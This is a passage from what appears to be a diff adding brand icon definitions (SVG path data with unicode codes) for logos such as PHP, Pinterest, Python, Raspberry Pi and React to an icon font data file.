22.3-12.9 40.1-26.6 71.3-31 29.6-4.1 51.3 2.5 70.9 16.9zM268.6 97.3c-.6-.6-1.1-1.2-2.1-2.3 7.6 0 29.7-1.2 53.4 8.4 19.7 8 32.2 21 50.2 32.9 11.1 7.3 23.4 9.3 36.4 8.1 4.3-.4 8.5-1.2 12.8-1.7.4-.1.9 0 1.5.3-.6.4-1.2.9-1.8 1.2-8.1 4-16.7 6.3-25.6 7.1-26.1 2.6-50.3-3.7-73.4-15.4-19.3-9.9-36.4-22.9-51.4-38.6zM640 335.7c-3.5 3.1-22.7 11.6-42.7 5.3-12.3-3.9-19.5-14.9-31.6-24.1-10-7.6-20.9-7.9-28.1-8.4.6-.8.9-1.2 1.2-1.4 14.8-9.2 30.5-12.2 47.3-6.5 12.5 4.2 19.2 13.5 30.4 24.2 10.8 10.4 21 9.9 23.1 10.5.1-.1.2 0 .4.4zm-212.5 137c2.2 1.2 1.6 1.5 1.5 2-18.5-1.4-33.9-7.6-46.8-22.2-21.8-24.7-41.7-27.9-48.6-29.7.5-.2.8-.4 1.1-.4 13.1.1 26.1.7 38.9 3.9 25.3 6.4 35 25.4 41.6 35.3 3.2 4.8 7.3 8.3 12.3 11.1z"], + "phoenix-squadron": [512, 512, [], "f511", "M96 63.38C142.49 27.25 201.55 7.31 260.51 8.81c29.58-.38 59.11 5.37 86.91 15.33-24.13-4.63-49-6.34-73.38-2.45C231.17 27 191 48.84 162.21 80.87c5.67-1 10.78-3.67 16-5.86 18.14-7.87 37.49-13.26 57.23-14.83 19.74-2.13 39.64-.43 59.28 1.92-14.42 2.79-29.12 4.57-43 9.59-34.43 11.07-65.27 33.16-86.3 62.63-13.8 19.71-23.63 42.86-24.67 67.13-.35 16.49 5.22 34.81 19.83 44a53.27 53.27 0 0 0 37.52 6.74c15.45-2.46 30.07-8.64 43.6-16.33 11.52-6.82 22.67-14.55 32-24.25 3.79-3.22 2.53-8.45 2.62-12.79-2.12-.34-4.38-1.11-6.3.3a203 203 0 0 1-35.82 15.37c-20 6.17-42.16 8.46-62.1.78 12.79 1.73 26.06.31 37.74-5.44 20.23-9.72 36.81-25.2 54.44-38.77a526.57 526.57 0 0 1 88.9-55.31c25.71-12 52.94-22.78 81.57-24.12-15.63 13.72-32.15 26.52-46.78 41.38-14.51 14-27.46 29.5-40.11 45.18-3.52 4.6-8.95 6.94-13.58 10.16a150.7 150.7 0 0 0-51.89 60.1c-9.33 19.68-14.5 41.85-11.77 63.65 1.94 13.69 8.71 27.59 20.9 34.91 12.9 8 29.05 8.07 43.48 5.1 32.8-7.45 61.43-28.89 81-55.84 20.44-27.52 30.52-62.2 29.16-96.35-.52-7.5-1.57-15-1.66-22.49 8 19.48 14.82 39.71 16.65 60.83 2 14.28.75 28.76-1.62 42.9-1.91 11-5.67 21.51-7.78 32.43a165 165 0 0 0 39.34-81.07 183.64 183.64 0 0 0-14.21-104.64c20.78 32 32.34 69.58 35.71 107.48.49 12.73.49 25.51 0 38.23A243.21 243.21 0 0 1 482 371.34c-26.12 47.34-68 85.63-117.19 108-78.29 36.23-174.68 31.32-248-14.68A248.34 248.34 0 0 1 25.36 366 238.34 238.34 0 0 1 0 273.08v-31.34C3.93 172 40.87 105.82 96 63.38m222 80.33a79.13 79.13 0 0 0 16-4.48c5-1.77 9.24-5.94 10.32-11.22-8.96 4.99-17.98 9.92-26.32 15.7z"], + "php": [640, 512, [], "f457", "M320 104.5c171.4 0 303.2 72.2 303.2 151.5S491.3 407.5 320 407.5c-171.4 0-303.2-72.2-303.2-151.5S148.7 104.5 320 104.5m0-16.8C143.3 87.7 0 163 0 256s143.3 168.3 320 168.3S640 349 640 256 496.7 87.7 320 87.7zM218.2 242.5c-7.9 40.5-35.8 36.3-70.1 36.3l13.7-70.6c38 0 63.8-4.1 56.4 34.3zM97.4 350.3h36.7l8.7-44.8c41.1 0 66.6 3 90.2-19.1 26.1-24 32.9-66.7 14.3-88.1-9.7-11.2-25.3-16.7-46.5-16.7h-70.7L97.4 350.3zm185.7-213.6h36.5l-8.7 44.8c31.5 0 60.7-2.3 74.8 10.7 14.8 13.6 7.7 31-8.3 113.1h-37c15.4-79.4 18.3-86 12.7-92-5.4-5.8-17.7-4.6-47.4-4.6l-18.8 96.6h-36.5l32.7-168.6zM505 242.5c-8 41.1-36.7 36.3-70.1 36.3l13.7-70.6c38.2 0 63.8-4.1 56.4 34.3zM384.2 350.3H421l8.7-44.8c43.2 0 67.1 2.5 90.2-19.1 26.1-24 32.9-66.7 14.3-88.1-9.7-11.2-25.3-16.7-46.5-16.7H417l-32.8 168.7z"], + "pied-piper": [480, 512, [], "f2ae", "M455.93,23.2C429.23,30,387.79,51.69,341.35,90.66A206,206,0,0,0,240,64C125.13,64,32,157.12,32,272s93.13,208,208,208,208-93.13,208-208a207.25,207.25,0,0,0-58.75-144.81,155.35,155.35,0,0,0-17,27.4A176.16,176.16,0,0,1,417.1,272c0,97.66-79.44,177.11-177.09,177.11a175.81,175.81,0,0,1-87.63-23.4c82.94-107.33,150.79-37.77,184.31-226.65,5.79-32.62,28-94.26,126.23-160.18C471,33.45,465.35,20.8,455.93,23.2ZM125,406.4A176.66,176.66,0,0,1,62.9,272C62.9,174.34,142.35,94.9,240,94.9a174,174,0,0,1,76.63,17.75C250.64,174.76,189.77,265.52,125,406.4Z"], + "pied-piper-alt": [576, 512, [], "f1a8", "M244 246c-3.2-2-6.3-2.9-10.1-2.9-6.6 0-12.6 3.2-19.3 3.7l1.7 4.9zm135.9 197.9c-19 0-64.1 9.5-79.9 19.8l6.9 45.1c35.7 6.1 70.1 3.6 106-9.8-4.8-10-23.5-55.1-33-55.1zM340.8 177c6.6 2.8 11.5 9.2 22.7 22.1 2-1.4 7.5-5.2 7.5-8.6 0-4.9-11.8-13.2-13.2-23 11.2-5.7 25.2-6 37.6-8.9 68.1-16.4 116.3-52.9 146.8-116.7C548.3 29.3 554 16.1 554.6 2l-2 2.6c-28.4 50-33 63.2-81.3 100-31.9 24.4-69.2 40.2-106.6 54.6l-6.3-.3v-21.8c-19.6 1.6-19.7-14.6-31.6-23-18.7 20.6-31.6 40.8-58.9 51.1-12.7 4.8-19.6 10-25.9 21.8 34.9-16.4 91.2-13.5 98.8-10zM555.5 0l-.6 1.1-.3.9.6-.6zm-59.2 382.1c-33.9-56.9-75.3-118.4-150-115.5l-.3-6c-1.1-13.5 32.8 3.2 35.1-31l-14.4 7.2c-19.8-45.7-8.6-54.3-65.5-54.3-14.7 0-26.7 1.7-41.4 4.6 2.9 18.6 2.2 36.7-10.9 50.3l19.5 5.5c-1.7 3.2-2.9 6.3-2.9 9.8 0 21 42.8 2.9 42.8 33.6 0 18.4-36.8 60.1-54.9 60.1-8 0-53.7-50-53.4-60.1l.3-4.6 52.3-11.5c13-2.6 12.3-22.7-2.9-22.7-3.7 0-43.1 9.2-49.4 10.6-2-5.2-7.5-14.1-13.8-14.1-3.2 0-6.3 3.2-9.5 4-9.2 2.6-31 2.9-21.5 20.1L15.9 298.5c-5.5 1.1-8.9 6.3-8.9 11.8 0 6 5.5 10.9 11.5 10.9 8 0 131.3-28.4 147.4-32.2 2.6 3.2 4.6 6.3 7.8 8.6 20.1 14.4 59.8 85.9 76.4 85.9 24.1 0 58-22.4 71.3-41.9 3.2-4.3 6.9-7.5 12.4-6.9.6 13.8-31.6 34.2-33 43.7-1.4 10.2-1 35.2-.3 41.1 26.7 8.1 52-3.6 77.9-2.9 4.3-21 10.6-41.9 9.8-63.5l-.3-9.5c-1.4-34.2-10.9-38.5-34.8-58.6-1.1-1.1-2.6-2.6-3.7-4 2.2-1.4 1.1-1 4.6-1.7 88.5 0 56.3 183.6 111.5 229.9 33.1-15 72.5-27.9 103.5-47.2-29-25.6-52.6-45.7-72.7-79.9zm-196.2 46.1v27.2l11.8-3.4-2.9-23.8zm-68.7-150.4l24.1 61.2 21-13.8-31.3-50.9zm84.4 154.9l2 12.4c9-1.5 58.4-6.6 58.4-14.1 0-1.4-.6-3.2-.9-4.6-26.8 0-36.9 3.8-59.5 6.3z"], + "pied-piper-hat": [640, 512, [], "f4e5", "M640 24.9c-80.8 53.6-89.4 92.5-96.4 104.4-6.7 12.2-11.7 60.3-23.3 83.6-11.7 23.6-54.2 42.2-66.1 50-11.7 7.8-28.3 38.1-41.9 64.2-108.1-4.4-167.4 38.8-259.2 93.6 29.4-9.7 43.3-16.7 43.3-16.7 94.2-36 139.3-68.3 281.1-49.2 1.1 0 1.9.6 2.8.8 3.9 2.2 5.3 6.9 3.1 10.8l-53.9 95.8c-2.5 4.7-7.8 7.2-13.1 6.1-126.8-23.8-226.9 17.3-318.9 18.6C24.1 488 0 453.4 0 451.8c0-1.1.6-1.7 1.7-1.7 0 0 38.3 0 103.1-15.3C178.4 294.5 244 245.4 315.4 245.4c0 0 71.7 0 90.6 61.9 22.8-39.7 28.3-49.2 28.3-49.2 5.3-9.4 35-77.2 86.4-141.4 51.5-64 90.4-79.9 119.3-91.8z"], + "pied-piper-pp": [448, 512, [], "f1a7", "M205.3 174.6c0 21.1-14.2 38.1-31.7 38.1-7.1 0-12.8-1.2-17.2-3.7v-68c4.4-2.7 10.1-4.2 17.2-4.2 17.5 0 31.7 16.9 31.7 37.8zm52.6 67c-7.1 0-12.8 1.5-17.2 4.2v68c4.4 2.5 10.1 3.7 17.2 3.7 17.4 0 31.7-16.9 31.7-37.8 0-21.1-14.3-38.1-31.7-38.1zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM185 255.1c41 0 74.2-35.6 74.2-79.6 0-44-33.2-79.6-74.2-79.6-12 0-24.1 3.2-34.6 8.8h-45.7V311l51.8-10.1v-50.6c8.6 3.1 18.1 4.8 28.5 4.8zm158.4 25.3c0-44-33.2-79.6-73.9-79.6-3.2 0-6.4.2-9.6.7-3.7 12.5-10.1 23.8-19.2 33.4-13.8 15-32.2 23.8-51.8 24.8V416l51.8-10.1v-50.6c8.6 3.2 18.2 4.7 28.7 4.7 40.8 0 74-35.6 74-79.6z"], + "pied-piper-square": [448, 512, [], "e01e", "M32 419L0 479.2l.8-328C.8 85.3 54 32 120 32h327.2c-93 28.9-189.9 94.2-253.9 168.6C122.7 282 82.6 338 32 419M448 32S305.2 98.8 261.6 199.1c-23.2 53.6-28.9 118.1-71 158.6-28.9 27.8-69.8 38.2-105.3 56.3-23.2 12-66.4 40.5-84.9 66h328.4c66 0 119.3-53.3 119.3-119.2-.1 0-.1-328.8-.1-328.8z"], + "pinterest": [496, 512, [], "f0d2", "M496 256c0 137-111 248-248 248-25.6 0-50.2-3.9-73.4-11.1 10.1-16.5 25.2-43.5 30.8-65 3-11.6 15.4-59 15.4-59 8.1 15.4 31.7 28.5 56.8 28.5 74.8 0 128.7-68.8 128.7-154.3 0-81.9-66.9-143.2-152.9-143.2-107 0-163.9 71.8-163.9 150.1 0 36.4 19.4 81.7 50.3 96.1 4.7 2.2 7.2 1.2 8.3-3.3.8-3.4 5-20.3 6.9-28.1.6-2.5.3-4.7-1.7-7.1-10.1-12.5-18.3-35.3-18.3-56.6 0-54.7 41.4-107.6 112-107.6 60.9 0 103.6 41.5 103.6 100.9 0 67.1-33.9 113.6-78 113.6-24.3 0-42.6-20.1-36.7-44.8 7-29.5 20.5-61.3 20.5-82.6 0-19-10.2-34.9-31.4-34.9-24.9 0-44.9 25.7-44.9 60.2 0 22 7.4 36.8 7.4 36.8s-24.5 103.8-29 123.2c-5 21.4-3 51.6-.9 71.2C65.4 450.9 0 361.1 0 256 0 119 111 8 248 8s248 111 248 248z"], + "pinterest-p": [384, 512, [], "f231", "M204 6.5C101.4 6.5 0 74.9 0 185.6 0 256 39.6 296 63.6 296c9.9 0 15.6-27.6 15.6-35.4 0-9.3-23.7-29.1-23.7-67.8 0-80.4 61.2-137.4 140.4-137.4 68.1 0 118.5 38.7 118.5 109.8 0 53.1-21.3 152.7-90.3 152.7-24.9 0-46.2-18-46.2-43.8 0-37.8 26.4-74.4 26.4-113.4 0-66.2-93.9-54.2-93.9 25.8 0 16.8 2.1 35.4 9.6 50.7-13.8 59.4-42 147.9-42 209.1 0 18.9 2.7 37.5 4.5 56.4 3.4 3.8 1.7 3.4 6.9 1.5 50.4-69 48.6-82.5 71.4-172.8 12.3 23.4 44.1 36 69.3 36 106.2 0 153.9-103.5 153.9-196.8C384 71.3 298.2 6.5 204 6.5z"], + "pinterest-square": [448, 512, [], "f0d3", "M448 80v352c0 26.5-21.5 48-48 48H154.4c9.8-16.4 22.4-40 27.4-59.3 3-11.5 15.3-58.4 15.3-58.4 8 15.3 31.4 28.2 56.3 28.2 74.1 0 127.4-68.1 127.4-152.7 0-81.1-66.2-141.8-151.4-141.8-106 0-162.2 71.1-162.2 148.6 0 36 19.2 80.8 49.8 95.1 4.7 2.2 7.1 1.2 8.2-3.3.8-3.4 5-20.1 6.8-27.8.6-2.5.3-4.6-1.7-7-10.1-12.3-18.3-34.9-18.3-56 0-54.2 41-106.6 110.9-106.6 60.3 0 102.6 41.1 102.6 99.9 0 66.4-33.5 112.4-77.2 112.4-24.1 0-42.1-19.9-36.4-44.4 6.9-29.2 20.3-60.7 20.3-81.8 0-53-75.5-45.7-75.5 25 0 21.7 7.3 36.5 7.3 36.5-31.4 132.8-36.1 134.5-29.6 192.6l2.2.8H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48z"], + "playstation": [576, 512, [], "f3df", "M570.9 372.3c-11.3 14.2-38.8 24.3-38.8 24.3L327 470.2v-54.3l150.9-53.8c17.1-6.1 19.8-14.8 5.8-19.4-13.9-4.6-39.1-3.3-56.2 2.9L327 381.1v-56.4c23.2-7.8 47.1-13.6 75.7-16.8 40.9-4.5 90.9.6 130.2 15.5 44.2 14 49.2 34.7 38 48.9zm-224.4-92.5v-139c0-16.3-3-31.3-18.3-35.6-11.7-3.8-19 7.1-19 23.4v347.9l-93.8-29.8V32c39.9 7.4 98 24.9 129.2 35.4C424.1 94.7 451 128.7 451 205.2c0 74.5-46 102.8-104.5 74.6zM43.2 410.2c-45.4-12.8-53-39.5-32.3-54.8 19.1-14.2 51.7-24.9 51.7-24.9l134.5-47.8v54.5l-96.8 34.6c-17.1 6.1-19.7 14.8-5.8 19.4 13.9 4.6 39.1 3.3 56.2-2.9l46.4-16.9v48.8c-51.6 9.3-101.4 7.3-153.9-10z"], + "product-hunt": [512, 512, [], "f288", "M326.3 218.8c0 20.5-16.7 37.2-37.2 37.2h-70.3v-74.4h70.3c20.5 0 37.2 16.7 37.2 37.2zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-128.1-37.2c0-47.9-38.9-86.8-86.8-86.8H169.2v248h49.6v-74.4h70.3c47.9 0 86.8-38.9 86.8-86.8z"], + "pushed": [432, 512, [], "f3e1", "M407 111.9l-98.5-9 14-33.4c10.4-23.5-10.8-40.4-28.7-37L22.5 76.9c-15.1 2.7-26 18.3-21.4 36.6l105.1 348.3c6.5 21.3 36.7 24.2 47.7 7l35.3-80.8 235.2-231.3c16.4-16.8 4.3-42.9-17.4-44.8zM297.6 53.6c5.1-.7 7.5 2.5 5.2 7.4L286 100.9 108.6 84.6l189-31zM22.7 107.9c-3.1-5.1 1-10 6.1-9.1l248.7 22.7-96.9 230.7L22.7 107.9zM136 456.4c-2.6 4-7.9 3.1-9.4-1.2L43.5 179.7l127.7 197.6c-7 15-35.2 79.1-35.2 79.1zm272.8-314.5L210.1 337.3l89.7-213.7 106.4 9.7c4 1.1 5.7 5.3 2.6 8.6z"], + "python": [448, 512, [], "f3e2", "M439.8 200.5c-7.7-30.9-22.3-54.2-53.4-54.2h-40.1v47.4c0 36.8-31.2 67.8-66.8 67.8H172.7c-29.2 0-53.4 25-53.4 54.3v101.8c0 29 25.2 46 53.4 54.3 33.8 9.9 66.3 11.7 106.8 0 26.9-7.8 53.4-23.5 53.4-54.3v-40.7H226.2v-13.6h160.2c31.1 0 42.6-21.7 53.4-54.2 11.2-33.5 10.7-65.7 0-108.6zM286.2 404c11.1 0 20.1 9.1 20.1 20.3 0 11.3-9 20.4-20.1 20.4-11 0-20.1-9.2-20.1-20.4.1-11.3 9.1-20.3 20.1-20.3zM167.8 248.1h106.8c29.7 0 53.4-24.5 53.4-54.3V91.9c0-29-24.4-50.7-53.4-55.6-35.8-5.9-74.7-5.6-106.8.1-45.2 8-53.4 24.7-53.4 55.6v40.7h106.9v13.6h-147c-31.1 0-58.3 18.7-66.8 54.2-9.8 40.7-10.2 66.1 0 108.6 7.6 31.6 25.7 54.2 56.8 54.2H101v-48.8c0-35.3 30.5-66.4 66.8-66.4zm-6.7-142.6c-11.1 0-20.1-9.1-20.1-20.3.1-11.3 9-20.4 20.1-20.4 11 0 20.1 9.2 20.1 20.4s-9 20.3-20.1 20.3z"], + "qq": [448, 512, [], "f1d6", "M433.754 420.445c-11.526 1.393-44.86-52.741-44.86-52.741 0 31.345-16.136 72.247-51.051 101.786 16.842 5.192 54.843 19.167 45.803 34.421-7.316 12.343-125.51 7.881-159.632 4.037-34.122 3.844-152.316 8.306-159.632-4.037-9.045-15.25 28.918-29.214 45.783-34.415-34.92-29.539-51.059-70.445-51.059-101.792 0 0-33.334 54.134-44.859 52.741-5.37-.65-12.424-29.644 9.347-99.704 10.261-33.024 21.995-60.478 40.144-105.779C60.683 98.063 108.982.006 224 0c113.737.006 163.156 96.133 160.264 214.963 18.118 45.223 29.912 72.85 40.144 105.778 21.768 70.06 14.716 99.053 9.346 99.704z"], + "quinscape": [512, 512, [], "f459", "M313.6 474.6h-1a158.1 158.1 0 0 1 0-316.2c94.9 0 168.2 83.1 157 176.6 4 5.1 8.2 9.6 11.2 15.3 13.4-30.3 20.3-62.4 20.3-97.7C501.1 117.5 391.6 8 256.5 8S12 117.5 12 252.6s109.5 244.6 244.5 244.6a237.36 237.36 0 0 0 70.4-10.1c-5.2-3.5-8.9-8.1-13.3-12.5zm-.1-.1l.4.1zm78.4-168.9a99.2 99.2 0 1 0 99.2 99.2 99.18 99.18 0 0 0-99.2-99.2z"], + "quora": [448, 512, [], "f2c4", "M440.5 386.7h-29.3c-1.5 13.5-10.5 30.8-33 30.8-20.5 0-35.3-14.2-49.5-35.8 44.2-34.2 74.7-87.5 74.7-153C403.5 111.2 306.8 32 205 32 105.3 32 7.3 111.7 7.3 228.7c0 134.1 131.3 221.6 249 189C276 451.3 302 480 351.5 480c81.8 0 90.8-75.3 89-93.3zM297 329.2C277.5 300 253.3 277 205.5 277c-30.5 0-54.3 10-69 22.8l12.2 24.3c6.2-3 13-4 19.8-4 35.5 0 53.7 30.8 69.2 61.3-10 3-20.7 4.2-32.7 4.2-75 0-107.5-53-107.5-156.7C97.5 124.5 130 71 205 71c76.2 0 108.7 53.5 108.7 157.7.1 41.8-5.4 75.6-16.7 100.5z"], + "r-project": [581, 512, [], "f4f7", "M581 226.6C581 119.1 450.9 32 290.5 32S0 119.1 0 226.6C0 322.4 103.3 402 239.4 418.1V480h99.1v-61.5c24.3-2.7 47.6-7.4 69.4-13.9L448 480h112l-67.4-113.7c54.5-35.4 88.4-84.9 88.4-139.7zm-466.8 14.5c0-73.5 98.9-133 220.8-133s211.9 40.7 211.9 133c0 50.1-26.5 85-70.3 106.4-2.4-1.6-4.7-2.9-6.4-3.7-10.2-5.2-27.8-10.5-27.8-10.5s86.6-6.4 86.6-92.7-90.6-87.9-90.6-87.9h-199V361c-74.1-21.5-125.2-67.1-125.2-119.9zm225.1 38.3v-55.6c57.8 0 87.8-6.8 87.8 27.3 0 36.5-38.2 28.3-87.8 28.3zm-.9 72.5H365c10.8 0 18.9 11.7 24 19.2-16.1 1.9-33 2.8-50.6 2.9v-22.1z"], + "raspberry-pi": [407, 512, [], "f7bb", "M372 232.5l-3.7-6.5c.1-46.4-21.4-65.3-46.5-79.7 7.6-2 15.4-3.6 17.6-13.2 13.1-3.3 15.8-9.4 17.1-15.8 3.4-2.3 14.8-8.7 13.6-19.7 6.4-4.4 10-10.1 8.1-18.1 6.9-7.5 8.7-13.7 5.8-19.4 8.3-10.3 4.6-15.6 1.1-20.9 6.2-11.2.7-23.2-16.6-21.2-6.9-10.1-21.9-7.8-24.2-7.8-2.6-3.2-6-6-16.5-4.7-6.8-6.1-14.4-5-22.3-2.1-9.3-7.3-15.5-1.4-22.6.8C271.6.6 269 5.5 263.5 7.6c-12.3-2.6-16.1 3-22 8.9l-6.9-.1c-18.6 10.8-27.8 32.8-31.1 44.1-3.3-11.3-12.5-33.3-31.1-44.1l-6.9.1c-5.9-5.9-9.7-11.5-22-8.9-5.6-2-8.1-7-19.4-3.4-4.6-1.4-8.9-4.4-13.9-4.3-2.6.1-5.5 1-8.7 3.5-7.9-3-15.5-4-22.3 2.1-10.5-1.3-14 1.4-16.5 4.7-2.3 0-17.3-2.3-24.2 7.8C21.2 16 15.8 28 22 39.2c-3.5 5.4-7.2 10.7 1.1 20.9-2.9 5.7-1.1 11.9 5.8 19.4-1.8 8 1.8 13.7 8.1 18.1-1.2 11 10.2 17.4 13.6 19.7 1.3 6.4 4 12.4 17.1 15.8 2.2 9.5 10 11.2 17.6 13.2-25.1 14.4-46.6 33.3-46.5 79.7l-3.7 6.5c-28.8 17.2-54.7 72.7-14.2 117.7 2.6 14.1 7.1 24.2 11 35.4 5.9 45.2 44.5 66.3 54.6 68.8 14.9 11.2 30.8 21.8 52.2 29.2C159 504.2 181 512 203 512h1c22.1 0 44-7.8 64.2-28.4 21.5-7.4 37.3-18 52.2-29.2 10.2-2.5 48.7-23.6 54.6-68.8 3.9-11.2 8.4-21.3 11-35.4 40.6-45.1 14.7-100.5-14-117.7zm-22.2-8c-1.5 18.7-98.9-65.1-82.1-67.9 45.7-7.5 83.6 19.2 82.1 67.9zm-43 93.1c-24.5 15.8-59.8 5.6-78.8-22.8s-14.6-64.2 9.9-80c24.5-15.8 59.8-5.6 78.8 22.8s14.6 64.2-9.9 80zM238.9 29.3c.8 4.2 1.8 6.8 2.9 7.6 5.4-5.8 9.8-11.7 16.8-17.3 0 3.3-1.7 6.8 2.5 9.4 3.7-5 8.8-9.5 15.5-13.3-3.2 5.6-.6 7.3 1.2 9.6 5.1-4.4 10-8.8 19.4-12.3-2.6 3.1-6.2 6.2-2.4 9.8 5.3-3.3 10.6-6.6 23.1-8.9-2.8 3.1-8.7 6.3-5.1 9.4 6.6-2.5 14-4.4 22.1-5.4-3.9 3.2-7.1 6.3-3.9 8.8 7.1-2.2 16.9-5.1 26.4-2.6l-6 6.1c-.7.8 14.1.6 23.9.8-3.6 5-7.2 9.7-9.3 18.2 1 1 5.8.4 10.4 0-4.7 9.9-12.8 12.3-14.7 16.6 2.9 2.2 6.8 1.6 11.2.1-3.4 6.9-10.4 11.7-16 17.3 1.4 1 3.9 1.6 9.7.9-5.2 5.5-11.4 10.5-18.8 15 1.3 1.5 5.8 1.5 10 1.6-6.7 6.5-15.3 9.9-23.4 14.2 4 2.7 6.9 2.1 10 2.1-5.7 4.7-15.4 7.1-24.4 10 1.7 2.7 3.4 3.4 7.1 4.1-9.5 5.3-23.2 2.9-27 5.6.9 2.7 3.6 4.4 6.7 5.8-15.4.9-57.3-.6-65.4-32.3 15.7-17.3 44.4-37.5 93.7-62.6-38.4 12.8-73 30-102 53.5-34.3-15.9-10.8-55.9 5.8-71.8zm-34.4 114.6c24.2-.3 54.1 17.8 54 34.7-.1 15-21 27.1-53.8 26.9-32.1-.4-53.7-15.2-53.6-29.8 0-11.9 26.2-32.5 53.4-31.8zm-123-12.8c3.7-.7 5.4-1.5 7.1-4.1-9-2.8-18.7-5.3-24.4-10 3.1 0 6 .7 10-2.1-8.1-4.3-16.7-7.7-23.4-14.2 4.2-.1 8.7 0 10-1.6-7.4-4.5-13.6-9.5-18.8-15 5.8.7 8.3.1 9.7-.9-5.6-5.6-12.7-10.4-16-17.3 4.3 1.5 8.3 2 11.2-.1-1.9-4.2-10-6.7-14.7-16.6 4.6.4 9.4 1 10.4 0-2.1-8.5-5.8-13.3-9.3-18.2 9.8-.1 24.6 0 23.9-.8l-6-6.1c9.5-2.5 19.3.4 26.4 2.6 3.2-2.5-.1-5.6-3.9-8.8 8.1 1.1 15.4 2.9 22.1 5.4 3.5-3.1-2.3-6.3-5.1-9.4 12.5 2.3 17.8 5.6 23.1 8.9 3.8-3.6.2-6.7-2.4-9.8 9.4 3.4 14.3 7.9 19.4 12.3 1.7-2.3 4.4-4 1.2-9.6 6.7 3.8 11.8 8.3 15.5 13.3 4.1-2.6 2.5-6.2 2.5-9.4 7 5.6 11.4 11.5 16.8 17.3 1.1-.8 2-3.4 2.9-7.6 16.6 15.9 40.1 55.9 6 71.8-29-23.5-63.6-40.7-102-53.5 49.3 25 78 45.3 93.7 62.6-8 31.8-50 33.2-65.4 32.3 3.1-1.4 5.8-3.2 6.7-5.8-4-2.8-17.6-.4-27.2-5.6zm60.1 24.1c16.8 2.8-80.6 86.5-82.1 67.9-1.5-48.7 36.5-75.5 82.1-67.9zM38.2 342c-23.7-18.8-31.3-73.7 12.6-98.3 26.5-7 9 107.8-12.6 98.3zm91 98.2c-13.3 7.9-45.8 4.7-68.8-27.9-15.5-27.4-13.5-55.2-2.6-63.4 16.3-9.8 41.5 3.4 60.9 25.6 16.9 20 24.6 55.3 10.5 65.7zm-26.4-119.7c-24.5-15.8-28.9-51.6-9.9-80s54.3-38.6 78.8-22.8 28.9 51.6 9.9 80c-19.1 28.4-54.4 38.6-78.8 22.8zM205 496c-29.4 1.2-58.2-23.7-57.8-32.3-.4-12.7 35.8-22.6 59.3-22 23.7-1 55.6 7.5 55.7 18.9.5 11-28.8 35.9-57.2 35.4zm58.9-124.9c.2 29.7-26.2 53.8-58.8 54-32.6.2-59.2-23.8-59.4-53.4v-.6c-.2-29.7 26.2-53.8 58.8-54 32.6-.2 59.2 23.8 59.4 53.4v.6zm82.2 42.7c-25.3 34.6-59.6 35.9-72.3 26.3-13.3-12.4-3.2-50.9 15.1-72 20.9-23.3 43.3-38.5 58.9-26.6 10.5 10.3 16.7 49.1-1.7 72.3zm22.9-73.2c-21.5 9.4-39-105.3-12.6-98.3 43.9 24.7 36.3 79.6 12.6 98.3z"], + "ravelry": [512, 512, [], "f2d9", "M498.252,234.223c-1.208-10.34-1.7-20.826-3.746-31a310.306,310.306,0,0,0-9.622-36.6,184.068,184.068,0,0,0-30.874-57.5,251.154,251.154,0,0,0-18.818-21.689,237.362,237.362,0,0,0-47.113-36.116A240.8,240.8,0,0,0,331.356,26.65c-11.018-3.1-22.272-5.431-33.515-7.615-6.78-1.314-13.749-1.667-20.627-2.482-.316-.036-.6-.358-.9-.553q-16.143.009-32.288.006c-2.41.389-4.808.925-7.236,1.15a179.331,179.331,0,0,0-34.256,7.1,221.5,221.5,0,0,0-39.768,16.355,281.385,281.385,0,0,0-38.08,24.158c-6.167,4.61-12.268,9.36-17.974,14.518C96.539,88.494,86.34,97.72,76.785,107.555a243.878,243.878,0,0,0-33.648,43.95,206.488,206.488,0,0,0-20.494,44.6,198.2,198.2,0,0,0-7.691,34.759A201.13,201.13,0,0,0,13.4,266.385a299.716,299.716,0,0,0,4.425,40.24,226.865,226.865,0,0,0,16.73,53.3,210.543,210.543,0,0,0,24,39.528,213.589,213.589,0,0,0,26.358,28.416A251.313,251.313,0,0,0,126.7,458.455a287.831,287.831,0,0,0,55.9,25.277,269.5,269.5,0,0,0,40.641,9.835c6.071,1.01,12.275,1.253,18.412,1.873a4.149,4.149,0,0,1,1.19.56h32.289c2.507-.389,5-.937,7.527-1.143,16.336-1.332,32.107-5.335,47.489-10.717A219.992,219.992,0,0,0,379.1,460.322c9.749-6.447,19.395-13.077,28.737-20.1,5.785-4.348,10.988-9.5,16.3-14.457,3.964-3.7,7.764-7.578,11.51-11.5a232.162,232.162,0,0,0,31.427-41.639c9.542-16.045,17.355-32.905,22.3-50.926,2.859-10.413,4.947-21.045,7.017-31.652,1.032-5.279,1.251-10.723,1.87-16.087.036-.317.358-.6.552-.9V236.005A9.757,9.757,0,0,1,498.252,234.223Zm-161.117-1.15s-16.572-2.98-28.47-2.98c-27.2,0-33.57,14.9-33.57,37.04V360.8H201.582V170.062H275.1v31.931c8.924-26.822,26.771-36.189,62.04-36.189Z"], + "react": [512, 512, [], "f41b", "M418.2 177.2c-5.4-1.8-10.8-3.5-16.2-5.1.9-3.7 1.7-7.4 2.5-11.1 12.3-59.6 4.2-107.5-23.1-123.3-26.3-15.1-69.2.6-112.6 38.4-4.3 3.7-8.5 7.6-12.5 11.5-2.7-2.6-5.5-5.2-8.3-7.7-45.5-40.4-91.1-57.4-118.4-41.5-26.2 15.2-34 60.3-23 116.7 1.1 5.6 2.3 11.1 3.7 16.7-6.4 1.8-12.7 3.8-18.6 5.9C38.3 196.2 0 225.4 0 255.6c0 31.2 40.8 62.5 96.3 81.5 4.5 1.5 9 3 13.6 4.3-1.5 6-2.8 11.9-4 18-10.5 55.5-2.3 99.5 23.9 114.6 27 15.6 72.4-.4 116.6-39.1 3.5-3.1 7-6.3 10.5-9.7 4.4 4.3 9 8.4 13.6 12.4 42.8 36.8 85.1 51.7 111.2 36.6 27-15.6 35.8-62.9 24.4-120.5-.9-4.4-1.9-8.9-3-13.5 3.2-.9 6.3-1.9 9.4-2.9 57.7-19.1 99.5-50 99.5-81.7 0-30.3-39.4-59.7-93.8-78.4zM282.9 92.3c37.2-32.4 71.9-45.1 87.7-36 16.9 9.7 23.4 48.9 12.8 100.4-.7 3.4-1.4 6.7-2.3 10-22.2-5-44.7-8.6-67.3-10.6-13-18.6-27.2-36.4-42.6-53.1 3.9-3.7 7.7-7.2 